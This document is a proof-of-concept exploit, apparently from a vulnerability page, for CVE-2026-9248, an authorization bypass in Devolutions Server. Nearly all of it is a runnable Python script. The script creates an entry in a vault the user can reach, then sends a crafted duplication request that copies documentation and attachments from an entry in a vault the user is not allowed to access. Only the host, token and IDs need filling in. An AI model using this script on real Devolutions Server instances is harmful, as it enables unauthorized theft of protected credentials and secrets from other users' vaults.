CVE-2026-9248 Devolutions Server授权绕过漏洞

# CVE-2026-9248 PoC - Authorization Bypass in Devolutions Server Entry Duplication # This PoC demonstrates how an authenticated user can copy entries from inaccessible vaults import requests import json # Configuration BASE_URL = "https://devolutions-server.local" TARGET_VAULT_ID = "inaccessible-vault-id-12345" SOURCE_ENTRY_ID = "private-entry-id-67890" ACCESSIBLE_VAULT_ID = "accessible-vault-id-abcde" API_TOKEN = "your-auth-token-here" def exploit_entry_duplication(): """ Exploit the authorization bypass in entry duplication feature Allows copying documentation/attachments from entries in inaccessible vaults """ headers = { "Authorization": f"Bearer {API_TOKEN}", "Content-Type": "application/json" } # Step 1: Create a new entry in the accessible vault create_entry_url = f"{BASE_URL}/api/v1/entries" entry_payload = { "vaultId": ACCESSIBLE_VAULT_ID, "name": "Copied Entry", "folderId": None } response = requests.post(create_entry_url, headers=headers, json=entry_payload) new_entry_id = response.json().get("id") # Step 2: Craft malicious duplication request # The server does not verify access to SOURCE_ENTRY_ID duplicate_url = f"{BASE_URL}/api/v1/entries/{new_entry_id}/duplicate" duplicate_payload = { "sourceEntryId": SOURCE_ENTRY_ID, "copyDocumentation": True, "copyAttachments": True, "targetVaultId": TARGET_VAULT_ID } # Step 3: Send the crafted request # This bypasses authorization and copies sensitive data response = requests.post(duplicate_url, headers=headers, json=duplicate_payload) if response.status_code == 200: print("[+] Successfully copied entry from inaccessible vault!") print(f"[+] Copied entry ID: {response.json().get('id')}") return True else: print(f"[-] Exploit failed: {response.status_code}") return False if __name__ == "__main__": exploit_entry_duplication()